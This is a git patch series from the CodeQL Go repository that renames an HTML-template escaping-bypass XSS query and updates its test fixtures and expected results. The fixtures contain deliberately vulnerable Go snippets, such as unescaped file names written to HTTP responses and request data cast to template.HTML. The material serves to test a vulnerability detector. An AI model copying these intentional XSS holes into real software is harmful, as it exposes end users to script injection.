go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qlref => HtmlTemplateEscapingBypassXss.qlref} (61%) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 88% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f238..50659b0ba3ec 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -19,10 +19,10 @@ <p> In the first example you can see the special types and how they are used in a template: </p> - <sample src="HTMLTemplateEscapingPassthroughBad.go" /> + <sample src="HtmlTemplateEscapingBypassXssBad.go" /> <p> To avoid XSS, all user input should be a normal string type. </p> - <sample src="HTMLTemplateEscapingPassthroughGood.go" /> + <sample src="HtmlTemplateEscapingBypassXssGood.go" /> </example> </qhelp> diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index feb98b69d5e7..000000000000 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,60 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | -edges -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | -subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 000000000000..84099f5dd29e --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 100% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref similarity index 61% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref index 61712749b14c..9ea7791dff27 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -1,4 +1,4 @@ -query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql postprocess: - utils/test/PrettyPrintModels.ql - utils/test/InlineExpectationsTestQuery.ql From e6c19b0cbd49793d7e6fd498da9533e05f9e6723 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Fri, 25 Apr 2025 10:15:10 +0100 Subject: [PATCH 13/21] Modernize tests --- .../Security/CWE-079/ReflectedXss.expected | 12 ++++++------ .../query-tests/Security/CWE-079/StoredXss.expected | 6 ++---- go/ql/test/query-tests/Security/CWE-079/StoredXss.go | 4 ++-- .../query-tests/Security/CWE-079/StoredXssGood.go | 4 ++-- go/ql/test/query-tests/Security/CWE-079/go.mod | 2 +- .../query-tests/Security/CWE-079/reflectedxsstest.go | 4 ++-- .../query-tests/Security/CWE-079/websocketXss.go | 6 +++--- 7 files changed, 18 insertions(+), 20 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b5..91b39e0e2a04 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b7..4e2958c767e2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 30774df39248..05e865be886a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b98874666..b0f5e936a6a1 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a026622814..aaab77bf0398 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 65024f6b865c..b3ddc79535b4 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -29,7 +29,7 @@ func ErrTest(w http.ResponseWriter, r http.Request) { 